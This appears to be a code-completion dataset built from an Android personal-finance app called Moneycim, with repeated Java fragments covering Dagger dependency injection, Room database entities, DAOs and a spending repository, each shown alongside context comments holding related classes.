// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
| import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
| package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
ActivityBuilder.class,
| // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
ActivityBuilder.class,
| FragmentBuilder.class,
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java | // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
| import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
| package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
ActivityBuilder.class,
FragmentBuilder.class,
| // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
ActivityBuilder.class,
FragmentBuilder.class,
| DataModule.class,
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java | // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
| import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
| package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
ActivityBuilder.class,
FragmentBuilder.class,
DataModule.class,
ViewModelModule.class
})
| // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java
// @Module
// public abstract class ActivityBuilder {
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract MainActivity mainActivity();
//
// @ActivityScope
// @ContributesAndroidInjector
// abstract OcrCaptureActivity ocrCaptureActivity();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java
// @Module
// public class DataModule {
//
// @Singleton
// @Provides
// AppDatabase provideAppDatabase(Application application){
// return Room.databaseBuilder(application, AppDatabase.class, "app_database")
// .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() {
// @Override
// public void onCreate(@NonNull SupportSQLiteDatabase db) {
// super.onCreate(db);
// String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')";
// db.execSQL(query);
// }
//
// @Override
// public void onOpen(@NonNull SupportSQLiteDatabase db) {
// super.onOpen(db);
// }
// })
// .build();
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// @Module
// public abstract class AppModule {
//
// @Binds
// @Singleton
// abstract Application application(MoneycimApp app);
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java
// @Module
// public abstract class FragmentBuilder {
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract SpendingListFragment spendingListFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract AddAndEditSpendingFragment addAndEditSpendingFragment();
//
// @FragmentScope
// @ContributesAndroidInjector
// abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment();
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
import com.vsahin.moneycim.Di.Modules.ActivityBuilder;
import com.vsahin.moneycim.Di.Modules.DataModule;
import com.vsahin.moneycim.Di.Modules.AppModule;
import com.vsahin.moneycim.Di.Modules.FragmentBuilder;
import com.vsahin.moneycim.Di.Modules.ViewModelModule;
import com.vsahin.moneycim.MoneycimApp;
import javax.inject.Singleton;
import dagger.Component;
import dagger.android.AndroidInjector;
import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Singleton
@Component(modules = {
AndroidSupportInjectionModule.class,
AppModule.class,
ActivityBuilder.class,
FragmentBuilder.class,
DataModule.class,
ViewModelModule.class
})
| interface AppComponent extends AndroidInjector<MoneycimApp> {
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/Converters.java
// public class Converters {
// @TypeConverter
// public static Date fromTimestamp(Long value) {
// return value == null ? null : new Date(value);
// }
//
// @TypeConverter
// public static Long dateToTimestamp(Date date) {
// return date == null ? null : date.getTime();
// }
// }
| import androidx.room.ColumnInfo;
import androidx.room.Entity;
import androidx.room.ForeignKey;
import androidx.room.PrimaryKey;
import androidx.room.TypeConverters;
import com.vsahin.moneycim.Model.Database.Converters;
import java.io.Serializable;
import java.util.Date;
| package com.vsahin.moneycim.Model.Entity;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Entity(tableName = "spending")
public class RawSpending implements Serializable {
@PrimaryKey(autoGenerate = true)
@ColumnInfo(name = "id")
public int id;
@ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
@ColumnInfo(name = "group_id")
private int groupId;
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/Converters.java
// public class Converters {
// @TypeConverter
// public static Date fromTimestamp(Long value) {
// return value == null ? null : new Date(value);
// }
//
// @TypeConverter
// public static Long dateToTimestamp(Date date) {
// return date == null ? null : date.getTime();
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
import androidx.room.ColumnInfo;
import androidx.room.Entity;
import androidx.room.ForeignKey;
import androidx.room.PrimaryKey;
import androidx.room.TypeConverters;
import com.vsahin.moneycim.Model.Database.Converters;
import java.io.Serializable;
import java.util.Date;
package com.vsahin.moneycim.Model.Entity;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Entity(tableName = "spending")
public class RawSpending implements Serializable {
@PrimaryKey(autoGenerate = true)
@ColumnInfo(name = "id")
public int id;
@ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
@ColumnInfo(name = "group_id")
private int groupId;
| @TypeConverters(Converters.class)
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
| import androidx.lifecycle.LiveData;
import androidx.room.Dao;
import androidx.room.Insert;
import androidx.room.Query;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import java.util.List;
| package com.vsahin.moneycim.Model.Dao;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Dao
public interface SpendingGroupDao {
@Query("SELECT * FROM SPENDING_GROUP")
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java
import androidx.lifecycle.LiveData;
import androidx.room.Dao;
import androidx.room.Insert;
import androidx.room.Query;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import java.util.List;
package com.vsahin.moneycim.Model.Dao;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Dao
public interface SpendingGroupDao {
@Query("SELECT * FROM SPENDING_GROUP")
| LiveData<List<SpendingGroup>> getAllSpendingGroups();
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java | // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
| import android.app.Application;
import com.vsahin.moneycim.MoneycimApp;
import com.vsahin.moneycim.ViewModelFactory;
import javax.inject.Singleton;
import androidx.lifecycle.ViewModelProvider;
import dagger.Binds;
import dagger.Module;
| package com.vsahin.moneycim.Di.Modules;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Module
public abstract class AppModule {
@Binds
@Singleton
| // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java
// public class MoneycimApp extends DaggerApplication {
// @Override
// protected AndroidInjector<? extends DaggerApplication> applicationInjector() {
// return DaggerAppComponent.builder().create(this);
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
import android.app.Application;
import com.vsahin.moneycim.MoneycimApp;
import com.vsahin.moneycim.ViewModelFactory;
import javax.inject.Singleton;
import androidx.lifecycle.ViewModelProvider;
import dagger.Binds;
import dagger.Module;
package com.vsahin.moneycim.Di.Modules;
/**
* Created by Volkan Şahin on 18.08.2017.
*/
@Module
public abstract class AppModule {
@Binds
@Singleton
| abstract Application application(MoneycimApp app);
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
| import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
| package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
| private final AppDatabase appDatabase;
|
volkansahin45/Moneycim | app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java | // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
// @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id")
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @TypeConverters(Converters.class)
// @ColumnInfo(name = "date")
// private Date date;
//
// @ColumnInfo(name = "quantity")
// private Double quantity;
//
// @ColumnInfo(name = "description")
// private String description;
//
// public int getId() {
// return id;
// }
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public Date getDate() {
// return date;
// }
//
// public void setDate(Date date) {
// this.date = date;
// }
//
// public Double getQuantity() {
// return quantity;
// }
//
// public void setQuantity(Double quantity) {
// this.quantity = quantity;
// }
//
// public String getDescription() {
// return description;
// }
//
// public void setDescription(String description) {
// this.description = description;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java
// @Entity(tableName = "spending_group")
// public class SpendingGroup {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "group_id")
// private int groupId;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public int getGroupId() {
// return groupId;
// }
//
// public void setGroupId(int groupId) {
// this.groupId = groupId;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// public class Spending {
//
// @Embedded
// private RawSpending rawSpending;
//
// @ColumnInfo(name = "group_name")
// private String groupName;
//
// public RawSpending getRawSpending() {
// return rawSpending;
// }
//
// public void setRawSpending(RawSpending spending) {
// this.rawSpending = spending;
// }
//
// public String getGroupName() {
// return groupName;
// }
//
// public void setGroupName(String groupName) {
// this.groupName = groupName;
// }
//
// public boolean isSame(Spending s1){
// return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription())
// && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity())
// && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId()
// && s1.getGroupName().equals(this.getGroupName());
//
// }
// }
| import com.vsahin.moneycim.Model.Database.AppDatabase;
import com.vsahin.moneycim.Model.Entity.RawSpending;
import com.vsahin.moneycim.Model.Entity.SpendingGroup;
import com.vsahin.moneycim.Model.Pojo.Spending;
import java.util.List;
import javax.inject.Inject;
import javax.inject.Singleton;
import androidx.lifecycle.LiveData;
| package com.vsahin.moneycim.Model.Repository;
/**
* Created by Volkan Şahin on 17.08.2017.
*/
@Singleton
public class SpendingRepository {
private final AppDatabase appDatabase;
@Inject
public SpendingRepository(AppDatabase appDatabase) {
this.appDatabase = appDatabase;
}
| // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class})
// @TypeConverters({Converters.class})
// public abstract class AppDatabase extends RoomDatabase{
//
// public abstract SpendingDao spendingDao();
// public abstract SpendingGroupDao spendingGroupDao();
//
// }
//
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// @Entity(tableName = "spending")
// public class RawSpending implements Serializable {
//
// @PrimaryKey(autoGenerate = true)
// @ColumnInfo(name = "id")
// public int id;
//
